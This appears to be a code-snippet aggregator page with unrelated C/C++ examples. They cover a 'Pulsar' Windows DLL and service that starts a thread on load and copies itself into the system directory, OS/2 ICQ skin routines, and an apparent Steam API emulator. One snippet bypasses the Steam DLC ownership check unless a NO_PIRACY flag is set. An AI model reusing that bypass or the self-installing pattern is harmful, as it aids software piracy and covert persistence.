Esempio n. 1
0
//
// The main entry point for our DLL,
// here we do everything as if we were an 
// application
//
VOID PulsarDllInit (VOID) {

	DBGPrint("Called\n");


	//Figure out what process we are in
	CHAR module[128];

	GetModuleFileName(NULL, module, 128);
	DBGPrint("Attached by %s\n",module);

	pulsarCtx = PulsarInit();
	if(!pulsarCtx){
		DBGPrint("Failed to create Pulsar Context\n");
		return;
	}

 
	WaitForMultipleObjects(pulsarCtx->handleCount, (const HANDLE*)pulsarCtx->handles, TRUE, INFINITE);


	DBGPrint("Returning\n");
	return;

}
Esempio n. 2
0
//
//   FUNCTION: Start(DWORD, PWSTR *)
//
//   PURPOSE: The function starts the service. It calls the OnStart virtual 
//   function in which you can specify the actions to take when the service 
//   starts. If an error occurs during the startup, the error will be logged 
//   in the Application event log, and the service will be stopped.
//
//   PARAMETERS:
//   * dwArgc   - number of command line arguments
//   * lpszArgv - array of command line arguments
//
void Start(DWORD dwArgc, PSTR *pszArgv)
{
	DBGPrint("Called\n");
    try
    {
        // Tell SCM that the service is starting.
        BaseSetServiceStatus(SERVICE_START_PENDING,NO_ERROR,0);

        // Perform service-specific initialization.
        OnStart(dwArgc, pszArgv);

        // Tell SCM that the service is started.
        BaseSetServiceStatus(SERVICE_RUNNING,NO_ERROR,0);
    }
    catch (DWORD dwError)
    {
        // Log the error.
        DBGPrint("Service Start");

        // Set the service status to be stopped.
        SetServiceStatus((SERVICE_STATUS_HANDLE)SERVICE_STOPPED, (LPSERVICE_STATUS) dwError);
    }
    catch (...)
    {
        // Log the error.
        DBGPrint("Service failed to start.");

        // Set the service status to be stopped.
        BaseSetServiceStatus(SERVICE_STOPPED,NO_ERROR,0);
    }

	DBGPrint("Returning\n");
}
Esempio n. 3
0
//
//   FUNCTION: BaseSetServiceStatus(DWORD, DWORD, DWORD)
//
//   PURPOSE: The function sets the service status and reports the status to 
//   the SCM.
//
//   PARAMETERS:
//   * dwCurrentState - the state of the service
//   * dwWin32ExitCode - error code to report
//   * dwWaitHint - estimated time for pending operation, in milliseconds
//
void BaseSetServiceStatus(DWORD dwCurrentState, 
                                    DWORD dwWin32ExitCode, 
                                    DWORD dwWaitHint)
{
    static DWORD dwCheckPoint = 1;

	DBGPrint("Called with %d\n",dwCurrentState);
    // Fill in the SERVICE_STATUS structure of the service.

    g_status.dwCurrentState = dwCurrentState;
    g_status.dwWin32ExitCode = dwWin32ExitCode;
    g_status.dwWaitHint = dwWaitHint;

    g_status.dwCheckPoint = 
        ((dwCurrentState == SERVICE_RUNNING) ||
        (dwCurrentState == SERVICE_STOPPED)) ? 
        0 : dwCheckPoint++;

    // Report the status of the service to the SCM.
	if( SetServiceStatus(g_statusHandle, &g_status) == FALSE){
		//LAST_ERR();
	}

     DBGPrint("Returning\n");
}
Esempio n. 4
0
BOOL RunService(VOID){

	DBGPrint("Called\n");
	
	BOOL bRetVal = FALSE;
	SERVICE_TABLE_ENTRY ServiceTable[] = 
    {
        { SERVICE_NAME, ServiceMain },
        { NULL, NULL }
    };


    // Connects the main thread of a service process to the service control 
    // manager, which causes the thread to be the service control dispatcher 
    // thread for the calling process. This call returns when the service has 
    // stopped. The process should simply terminate when the call returns.
    if (StartServiceCtrlDispatcher (ServiceTable) == FALSE)
    {
		DBGPrint("Service failed to run w/err 0x%08x\n",GetLastError());
        goto exit;
    }

	bRetVal= TRUE;

exit:

	DBGPrint("Returning\n");
	return bRetVal;
}
Esempio n. 5
0
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved) {


	SetLogFile("C:\\pulsar\\PulsarDLL.txt");
	DBGPrint("Called\n");
 
	switch(Reason) {
		case DLL_PROCESS_ATTACH:
			DBGPrint("DLL_PROCESS_ATTACH\n");
			PULSE_INIT();
			break;
		case DLL_PROCESS_DETACH:
			DBGPrint("DLL_PROCESS_DETACH\n");
			break;
		case DLL_THREAD_ATTACH:
			DBGPrint("DLL_THREAD_ATTACH\n");
			break;
		case DLL_THREAD_DETACH:
			DBGPrint("DLL_THREAD_DETACH\n");
			break;
	}
 

return TRUE;
}
Esempio n. 6
0
//
//   FUNCTION: ServiceMain(DWORD, PWSTR *)
//
//   PURPOSE: Entry point for the service. It registers the handler function 
//   for the service and starts the service.
//
//   PARAMETERS:
//   * dwArgc   - number of command line arguments
//   * lpszArgv - array of command line arguments
//
void WINAPI ServiceMain(DWORD dwArgc, LPSTR *pszArgv)
{
	DBGPrint("Called\n");

    // Register the handler function for the service
    g_statusHandle = RegisterServiceCtrlHandler(
        SERVICE_NAME, ServiceCtrlHandler);
    if (g_statusHandle == NULL)
    {
       goto exit;
    }


	//Initialize the status object for accpeting events

    // The service runs in its own process.
    g_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

    // The service is starting.
    g_status.dwCurrentState = SERVICE_START_PENDING;

    // The accepted commands of the service.
    DWORD dwControlsAccepted = 0;
        dwControlsAccepted |= SERVICE_ACCEPT_STOP;
        dwControlsAccepted |= SERVICE_ACCEPT_SHUTDOWN;
        dwControlsAccepted |= SERVICE_ACCEPT_PAUSE_CONTINUE;

    g_status.dwControlsAccepted = dwControlsAccepted;
    g_status.dwWin32ExitCode = NO_ERROR;
    g_status.dwServiceSpecificExitCode = 0;
    g_status.dwCheckPoint = 0;
    g_status.dwWaitHint = 0;



    // Start the service.
      Start(dwArgc, pszArgv);

	
	//Wait for the Pulsar Threads
	  DBGPrint("Waiting for handles\n");
	  WaitForMultipleObjects(pulsarCtx->handleCount, (const HANDLE*)pulsarCtx->handles, TRUE, INFINITE);	
	  DBGPrint("Done waiting for handles\n");


exit:

	  DBGPrint("Returning\n");
}
Esempio n. 7
0
int wmain(int argc, CHAR* argv[])
{


	if(argc != 1){
		printf("Usage:\n \t %S \n",argv[0]);
		exit(0);
	}

	SetLogFile("PulsarCmdLine.txt");

	SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler, TRUE);


	printf("Pulsar Command Line Started\n");


	pulsarCtx = PulsarInit();
	if(!pulsarCtx){
		DBGPrint("Failed to create Pulsar Context");
		goto exit;
	}

 
	WaitForMultipleObjects(pulsarCtx->handleCount, (const HANDLE*)pulsarCtx->handles, TRUE, INFINITE);	

exit:

	printf("Pulsar Command Line Done\n");

	return 0;
}
Esempio n. 8
0
//
//   FUNCTION: OnStart(DWORD, LPWSTR *)
//
//   PURPOSE: The function is executed when a Start command is sent to the 
//   service by the SCM or when the operating system starts (for a service 
//   that starts automatically). It specifies actions to take when the 
//   service starts. In this code sample, OnStart logs a service-start 
//   message to the Application log, and queues the main service function for 
//   execution in a thread pool worker thread.
//
//   PARAMETERS:
//   * dwArgc   - number of command line arguments
//   * lpszArgv - array of command line arguments
//
//   NOTE: A service application is designed to be long running. Therefore, 
//   it usually polls or monitors something in the system. The monitoring is 
//   set up in the OnStart method. However, OnStart does not actually do the 
//   monitoring. The OnStart method must return to the operating system after 
//   the service's operation has begun. It must not loop forever or block. To 
//   set up a simple monitoring mechanism, one general solution is to create 
//   a timer in OnStart. The timer would then raise events in your code 
//   periodically, at which time your service could do its monitoring. The 
//   other solution is to spawn a new thread to perform the main service 
//   functions, which is demonstrated in this code sample.
//
void OnStart(DWORD dwArgc, LPSTR *lpszArgv)
{

	DBGPrint("Called\n");
    DBGPrint("Pulsar Service in OnStart\n");


	//This is where Pulsar starts
	pulsarCtx = PulsarInit();
	if(!pulsarCtx){
		DBGPrint("Failed to create Pulsar Context\n");
	}

	DBGPrint("Returning\n");

}
Esempio n. 9
0
void chExports_dispose(StructExports *ex){
	DBGPrint("%s (%p)",__FUNCTION__, ex);
	if(ex->func){
		funcEntry_dispose(ex->func);
	}
	free(ex->name);
	free(ex);
}
Esempio n. 10
0
void chExports_setName(StructExports *ex, const char *name){
	DBGPrint("setName %p",ex);
	if(ex->name){
		free(ex->name);
	}
	ex->name = (char*)malloc((strlen(name)+1)*sizeof(char));
	strcpy(ex->name, name);
}
Esempio n. 11
0
void chExports_setSuperInfo(StructExports *ex, const char *superClass){
	DBGPrint("setSuperInfo %p", ex);
	if(ex->superClass){
		free(ex->superClass);
	}
	ex->superClass = (char*)malloc((strlen(superClass)+1)*sizeof(char));
	strcpy(ex->superClass, superClass);
};
Esempio n. 12
0
//
//   FUNCTION ServiceCtrlHandler(DWORD)
//
//   PURPOSE: The function is called by the SCM whenever a control code is 
//   sent to the service. 
//
//   PARAMETERS:
//   * dwCtrlCode - the control code. This parameter can be one of the 
//   following values: 
//
//     SERVICE_CONTROL_CONTINUE
//     SERVICE_CONTROL_INTERROGATE
//     SERVICE_CONTROL_NETBINDADD
//     SERVICE_CONTROL_NETBINDDISABLE
//     SERVICE_CONTROL_NETBINDREMOVE
//     SERVICE_CONTROL_PARAMCHANGE
//     SERVICE_CONTROL_PAUSE
//     SERVICE_CONTROL_SHUTDOWN
//     SERVICE_CONTROL_STOP
//
//   This parameter can also be a user-defined control code ranges from 128 
//   to 255.
//
void WINAPI ServiceCtrlHandler(DWORD dwCtrl)
{

	DBGPrint("Called\n");

    switch (dwCtrl)
    {
    case SERVICE_CONTROL_STOP:
		DBGPrint("Stop\n");
		break;
    case SERVICE_CONTROL_PAUSE:
		DBGPrint("Pause\n");	
		break;
    case SERVICE_CONTROL_CONTINUE:
		DBGPrint("Continue\n");
		break;
    case SERVICE_CONTROL_SHUTDOWN:
		DBGPrint("Shutdown\n");
		break;
    case SERVICE_CONTROL_INTERROGATE:
		DBGPrint("Interrogate\n");
		break;
    default: break;
    }

	DBGPrint("Returning");

}
Esempio n. 13
0
StructExports* chExports_create(const char *name, StructExports *prev){
	StructExports *ex = (StructExports*)malloc(sizeof(StructExports));
	memset(ex, 0, sizeof(StructExports));
	ex->name = (char*)malloc(sizeof(char)*(1+strlen(name)));
	strcpy(ex->name, name);
	ex->next = prev;
	DBGPrint("%s(%p)", __FUNCTION__, ex);
	return ex;
}
Esempio n. 14
0
 static void ppchanged(HWND hwnd, ULONG id)
 {
    ICQFRAME *cfg = WinQueryWindowPtr(hwnd,0);

    DBGPrint("Frame presentation parameter %d changed",id);

    if(cfg)
       icqskin_updatePresParam(hwnd,id,cfg->pal);
 }
Esempio n. 15
0
HRESULT __stdcall DllRegisterServer(void){
	SetLogFile("C:\\debug\\PulsarDLL.txt");
	DBGPrint("Called\n");

	PULSE_INIT();

	return 0;


}
Esempio n. 16
0
VOID PULSE_INIT(VOID)
{


	DBGPrint("Called\n");

	//Create our system watcher thread, what will be doing the brunt of our work
	HANDLE systemThreadHandle = CreateThread (
		NULL,
		0x100000,
		(LPTHREAD_START_ROUTINE)PulsarDllInit,
		NULL,
		0,
		NULL);


	if (systemThreadHandle == NULL) {
		DBGPrint("Cannot create thread.");
	}
}
Esempio n. 17
0
//
//   FUNCTION: OnStop(void)
//
//   PURPOSE: The function is executed when a Stop command is sent to the 
//   service by SCM. It specifies actions to take when a service stops 
//   running. In this code sample, OnStop logs a service-stop message to the 
//   Application log, and waits for the finish of the main service function.
//
//   COMMENTS:
//   Be sure to periodically call ReportServiceStatus() with 
//   SERVICE_STOP_PENDING if the procedure is going to take long time. 
//
void OnStop()
{
	DBGPrint("Called\n");

    // Log a service stop message to the Application log.
    DBGPrint("Pulsar Service in OnStop");


	PulsarExit();

	BaseSetServiceStatus(SERVICE_STOPPED, NO_ERROR,0);

    // Indicate that the service is stopping and wait for the finish of the 
    // main service function (ServiceWorkerThread).
  //  m_fStopping = TRUE;
    //if (WaitForSingleObject(m_hStoppedEvent, INFINITE) != WAIT_OBJECT_0)
    //{
      //  throw GetLastError();
   // }
	DBGPrint("Returning\n");
}
Esempio n. 18
0
bool RedactedApps::IsDlcInstalled(uint32_t DLCID)
{
	DBGPrint("%s(%i)", __FUNCTION__, DLCID);

#ifdef NO_PIRACY
	return SteamProxy::IsDlcInstalled(DLCID);
#else
	char FilePath[256];

	// Read the DLC path from the game ini.
	GetPrivateProfileStringA("DLC", hString::va("%i", DLCID), "404", FilePath, 256, hString::va("%s.ini", Global::Game_BinaryName));
	return (!strcmp(FilePath, "404") || FileSystem::FileExists(FilePath));
#endif
}
Esempio n. 19
0
BOOL StartPulsarSvc(PSTR pszServiceName){

	DBGPrint("Called\n");

	TCHAR *pszCmdLine = (TCHAR *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024);

	sprintf(pszCmdLine, TEXT("sc start %s"), pszServiceName);

	//preparing arguments for CreateProcess
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);

	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));

	//creating new process 
	BOOL bResult = CreateProcess(NULL, pszCmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW,
		NULL, NULL, &si, &pi);

	if (bResult)
	{
		//waiting for process termination
		WaitForSingleObject(pi.hProcess, INFINITE);
		//cleanup
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	//freeing memory
	HeapFree(GetProcessHeap(), 0, pszCmdLine);


	DBGPrint("Returning\n");

	return TRUE;
}
Esempio n. 20
0
 int icqskin_registerWindowClass(HICQ icq)
 {
    HAB      hab  = icqQueryAnchorBlock(icq);
    int      f;
    char     buffer[0x0100];

    #pragma pack(1)

    static const struct wnd
    {
       const char **Name;
       PFNWP      Proc;
       const char *log;
    } wndList[] =
    {
    	  { &icqFrameWindowClass,    icqFrameWindow,     "frame"         },
    	  { &icqChatWindowClass,     icqChatWindow,      "chat"          },
          { &icqPagerWindowClass,    icqPagerWindow,     "alert"         },
    	  { &icqSCBarWindowClass,    icqSCBarWindow,     "scroll-bar"    },
    	  { &icqButtonWindowClass,   icqButtonWindow,    "button"        },
    	  { &icqUserListWindowClass, icqUserListWindow,  "userlist"      },
    	  { &icqStaticWindowClass,   icqStaticWindow,    "static"        },
    	  { &icqMenuWindowClass,     icqMenuListWindow,  "menu"          },
    	  { &icqDialogWindowClass,   icqDialogWindow,    "dialog"        },
    	  { &icqUPopupWindowClass,   icqUserPopupWindow, "userpopup"     },
    	  { &icqBitmapWindowClass,   icqBitmapWindow,    "bitmap"        },
    	  { &icqConfigWindowClass,   icqConfigWindow,    "configuration" }
    };

    #pragma pack()

    /* Register Window Classes */

    DBGTrace(sizeof(wndList)/sizeof(struct wnd));

    for(f=0;f < sizeof(wndList)/sizeof(struct wnd);f++ )
    {
       DBGPrint("Registering \"%s\"",*wndList[f].Name);

       if(!WinRegisterClass(hab,(PSZ) *wndList[f].Name, wndList[f].Proc,0,sizeof(PVOID)))
       {
          sprintf(buffer,"Failure registering %s window class",wndList[f].log);
          icqWriteSysLog(icq,PROJECT,buffer);
          return -1;
       }
    }
    return 0;
 }
Esempio n. 21
0
 static void destroy(HWND hwnd)
 {
    ICQFRAME *cfg = WinQueryWindowPtr(hwnd,0);

    DBGPrint("Window \"%s\" destroyed",cfg->name);

    if(WinQueryCapture(HWND_DESKTOP) == hwnd)
       WinSetCapture(HWND_DESKTOP,NULLHANDLE);

    if(!cfg || cfg->sz != sizeof(ICQFRAME))
       return;

    clearSkin(cfg);

    if(cfg->icon)
       WinDestroyPointer(cfg->icon);

    cfg->sz = 0;
    free(cfg);
 }
Esempio n. 22
0
BOOL CtrlHandler(DWORD fdwCtrlType) 
{ 

	DBGPrint("Called\n");

	switch(fdwCtrlType) 
	{ 
    case CTRL_C_EVENT: 
		PulsarExit();
		return TRUE;
    case CTRL_CLOSE_EVENT: 
		PulsarExit();
		return TRUE; 
    case CTRL_BREAK_EVENT: 
		return FALSE; 
    case CTRL_LOGOFF_EVENT: 
		return FALSE; 
    case CTRL_SHUTDOWN_EVENT: 
		return FALSE; 
    default: 
		return FALSE; 
	} 

}
Esempio n. 23
0
//
//   FUNCTION: InstallService
//
//   PURPOSE: Install the current application as a service to the local 
//   service control manager database.
//
//   PARAMETERS:
//   * pszServiceName - the name of the service to be installed
//   * pszDisplayName - the display name of the service
//   * dwStartType - the service start option. This parameter can be one of 
//     the following values: SERVICE_AUTO_START, SERVICE_BOOT_START, 
//     SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_SYSTEM_START.
//   * pszDependencies - a pointer to a double null-terminated array of null-
//     separated names of services or load ordering groups that the system 
//     must start before this service.
//   * pszAccount - the name of the account under which the service runs.
//   * pszPassword - the password to the account name.
//
//  RETURN VALUE:
//    TRUE if the service is successfully created, otherwise FALSE
//
//   NOTE: If the function fails to install the service, it prints the error 
//   in the standard output stream for users to diagnose the problem.
//
BOOL InstallService(PSTR pszServiceName, 
                    PSTR pszDisplayName, 
                    DWORD dwStartType,
                    PSTR pszDependencies, 
                    PSTR pszAccount, 
                    PSTR pszPassword)
{
    BOOL bRet = TRUE;
    char szPath[MAX_PATH];
	char outPath[MAX_PATH];
    SC_HANDLE schSCManager = NULL;
    SC_HANDLE schService = NULL;

	DBGPrint("Called\n");


	// Open the local default service control manager database, we do this first to see
	// if we're going to be even able to install
	schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT |
		SC_MANAGER_CREATE_SERVICE);
	if (schSCManager == NULL)
	{
		DBGPrint("OpenSCManager failed w/err 0x%08lx\n", GetLastError());
		goto Cleanup;
	}


    if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath)) == 0)
    {
        DBGPrint("GetModuleFileName failed w/err 0x%08lx\n", GetLastError());
        goto Cleanup;
    }
	DBGPrint("File is: %s\n", szPath);

	//Copy the file to win32 or syswow64, depending on bitness
		//Get windows system directory
		 GetSystemDirectory(outPath, MAX_PATH);
	
		 PTSTR filename = PathFindFileName(szPath);
		 //Set up the path
		 strcat(outPath, "\\");
		 strcat(outPath, filename);

		 DBGPrint("Outfile is: %s\n",outPath);

		 //Copy the file
		 if (CopyFile(szPath, outPath, TRUE) == FALSE){
			 DWORD dwError = GetLastError();
			 DBGPrint("Copyfile failed w/err 0x%08lx\n", dwError);
			 if (dwError != ERROR_FILE_EXISTS){
				 goto Cleanup;
			 }
			 DBGPrint("File exists, lets install anyway\n");
		 }


    // Install the service into SCM by calling CreateService
    schService = CreateService(
        schSCManager,                   // SCManager database
        pszServiceName,                 // Name of service
        pszDisplayName,                 // Name to display
        SERVICE_QUERY_STATUS,           // Desired access
        SERVICE_WIN32_OWN_PROCESS,      // Service type
        dwStartType,                    // Service start type
        SERVICE_ERROR_NORMAL,           // Error control type
        szPath,                         // Service's binary
        NULL,                           // No load ordering group
        NULL,                           // No tag identifier
        pszDependencies,                // Dependencies
       // pszAccount,                     // Service running account
       NULL,       
       pszPassword                     // Password of the account
        );
    if (schService == NULL)
    {
        DBGPrint("CreateService failed w/err 0x%08lx\n", GetLastError());
        bRet = FALSE;
        goto Cleanup;
    }

    DBGPrint("%s is installed.\n", pszServiceName);



Cleanup:
    // Centralized cleanup for all allocated resources.
    if (schSCManager)
    {
        CloseServiceHandle(schSCManager);
        schSCManager = NULL;
    }
    if (schService)
    {
        CloseServiceHandle(schService);
        schService = NULL;
    }

	DBGPrint("Returning\n");

    return bRet;
}
Esempio n. 24
0
//
//   FUNCTION: UninstallService
//
//   PURPOSE: Stop and remove the service from the local service control 
//   manager database.
//
//   PARAMETERS: 
//   * pszServiceName - the name of the service to be removed.
//
//  RETURN VALUE:
//    TRUE if the service is successfully removed, otherwise FALSE
//
//   NOTE: If the function fails to uninstall the service, it prints the 
//   error in the standard output stream for users to diagnose the problem.
//
BOOL UninstallService(PSTR pszServiceName)
{
    BOOL bRet = FALSE;
    SC_HANDLE schSCManager = NULL;
    SC_HANDLE schService = NULL;
    SERVICE_STATUS ssSvcStatus = {};

    // Open the local default service control manager database
    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (schSCManager == NULL)
    {
        wprintf(L"OpenSCManager failed w/err 0x%08lx\n", GetLastError());
        goto Cleanup;
    }

    // Open the service with delete, stop, and query status permissions
    schService = OpenService(schSCManager, pszServiceName, SERVICE_STOP | 
        SERVICE_QUERY_STATUS | DELETE);
    if (schService == NULL)
    {
        wprintf(L"OpenService failed w/err 0x%08lx\n", GetLastError());
        goto Cleanup;
    }

    // Try to stop the service
    if (ControlService(schService, SERVICE_CONTROL_STOP, &ssSvcStatus))
    {
        wprintf(L"Stopping %s.", pszServiceName);
        Sleep(1000);

        while (QueryServiceStatus(schService, &ssSvcStatus))
        {
            if (ssSvcStatus.dwCurrentState == SERVICE_STOP_PENDING)
            {
                wprintf(L".");
                Sleep(1000);
            }
            else break;
        }

        if (ssSvcStatus.dwCurrentState == SERVICE_STOPPED)
        {
            wprintf(L"\n%s is stopped.\n", pszServiceName);
        }
        else
        {
            wprintf(L"\n%s failed to stop.\n", pszServiceName);
        }
    }

    // Now remove the service by calling DeleteService.
    if (!DeleteService(schService))
    {
        wprintf(L"DeleteService failed w/err 0x%08lx\n", GetLastError());
        goto Cleanup;
    }

    bRet = TRUE;
    DBGPrint("%s is removed\n", pszServiceName);

Cleanup:
    // Centralized cleanup for all allocated resources.
    if (schSCManager)
    {
        CloseServiceHandle(schSCManager);
        schSCManager = NULL;
    }
    if (schService)
    {
        CloseServiceHandle(schService);
        schService = NULL;
    }

    return bRet;
}
Esempio n. 25
0
	__declspec(dllexport) int32_t __cdecl Debug_PrintDebugString(const char *Message)
	{
		DBGPrint(Message);
		return TRUE;
	}
Esempio n. 26
0
void *InterfaceManager::CreateInterface(SteamInterface_t interfaceID)
{
	DBGPrint("InterfaceManager: Creating '%s' (%d)", InterfaceManager::SteamInterfaces[interfaceID], interfaceID);

	switch (interfaceID)
	{
		ADD_INTERFACE(INTERFACE_STEAMAPPS001, SteamApps001)
		ADD_INTERFACE(INTERFACE_STEAMAPPS002, SteamApps002)
		ADD_INTERFACE(INTERFACE_STEAMAPPS003, SteamApps003)
		ADD_INTERFACE(INTERFACE_STEAMAPPS004, SteamApps004)
		ADD_INTERFACE(INTERFACE_STEAMAPPS005, SteamApps005)
		ADD_INTERFACE(INTERFACE_STEAMAPPS006, SteamApps006)
//		ADD_INTERFACE(INTERFACE_STEAMAPPS007, SteamApps007)

// 		ADD_INTERFACE(INTERFACE_STEAMBILLING001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMBILLING002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMBILLING003, void)

// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT004, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT005, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT006, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT007, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT008, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT009, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT010, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT011, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT012, void)
//		// [...]
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT016, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCLIENT017, void)

// 		ADD_INTERFACE(INTERFACE_STEAMCONTENTSERVER001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMCONTENTSERVER002, void)

		ADD_INTERFACE(INTERFACE_STEAMFRIENDS001, SteamFriends001)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS002, SteamFriends002)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS003, SteamFriends003)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS004, SteamFriends004)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS005, SteamFriends005)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS006, SteamFriends006)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS007, SteamFriends007)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS008, SteamFriends008)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS009, SteamFriends009)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS010, SteamFriends010)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS011, SteamFriends011)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS012, SteamFriends012)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS013, SteamFriends013)
		ADD_INTERFACE(INTERFACE_STEAMFRIENDS014, SteamFriends014)
//		ADD_INTERFACE(INTERFACE_STEAMFRIENDS015, SteamFriends015)

//		ADD_INTERFACE(INTERFACE_STEAMGAMECOORDINATOR001, void)

// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER004, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER005, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER006, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER007, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER008, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER009, void)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER010, void)
		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER011, SteamGameServer011)
// 		ADD_INTERFACE(INTERFACE_STEAMGAMESERVER012, void)

//		ADD_INTERFACE(INTERFACE_STEAMGAMESERVERSTATS001, void)

//		ADD_INTERFACE(INTERFACE_STEAMGAMESTATS001, void)

// 		ADD_INTERFACE(INTERFACE_STEAMHTTP001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMHTTP002, void)

//		ADD_INTERFACE(INTERFACE_STEAMMASTERUPDATER001, void)

 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING001, SteamMatchmaking001)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING002, SteamMatchmaking002)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING003, SteamMatchmaking003)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING004, SteamMatchmaking004)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING005, SteamMatchmaking005)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING006, SteamMatchmaking006)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING007, SteamMatchmaking007)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING008, SteamMatchmaking008)
 		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKING009, SteamMatchmaking009)

//		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKINGSERVERS001, void)
//		ADD_INTERFACE(INTERFACE_STEAMMATCHMAKINGSERVERS002, void)

//		ADD_INTERFACE(INTERFACE_STEAMMUSIC001, void)

// 		ADD_INTERFACE(INTERFACE_STEAMNETWORKING001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMNETWORKING002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMNETWORKING003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMNETWORKING004, void)
		ADD_INTERFACE(INTERFACE_STEAMNETWORKING005, SteamNetworking005)

//		ADD_INTERFACE(INTERFACE_STEAMOAUTH001, void)

		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE001, SteamRemoteStorage001)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE002, SteamRemoteStorage002)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE003, SteamRemoteStorage003)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE004, SteamRemoteStorage004)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE005, SteamRemoteStorage005)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE006, SteamRemoteStorage006)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE007, SteamRemoteStorage007)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE008, SteamRemoteStorage008)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE009, SteamRemoteStorage009)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE010, SteamRemoteStorage010)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE011, SteamRemoteStorage011)
		ADD_INTERFACE(INTERFACE_STEAMREMOTESTORAGE012, SteamRemoteStorage012)

//		ADD_INTERFACE(INTERFACE_STEAMSCREENSHOTS001, void)
//		ADD_INTERFACE(INTERFACE_STEAMSCREENSHOTS002, void)

//		ADD_INTERFACE(INTERFACE_STEAMSTREAMLAUNCHER001, void)

// 		ADD_INTERFACE(INTERFACE_STEAMUGC001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUGC002, void)

//		ADD_INTERFACE(INTERFACE_STEAMUNIFIEDMESSAGES001, void)

// 		ADD_INTERFACE(INTERFACE_STEAMUSER001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER004, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER005, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER006, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER007, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER008, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER009, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER010, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER011, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER012, void)
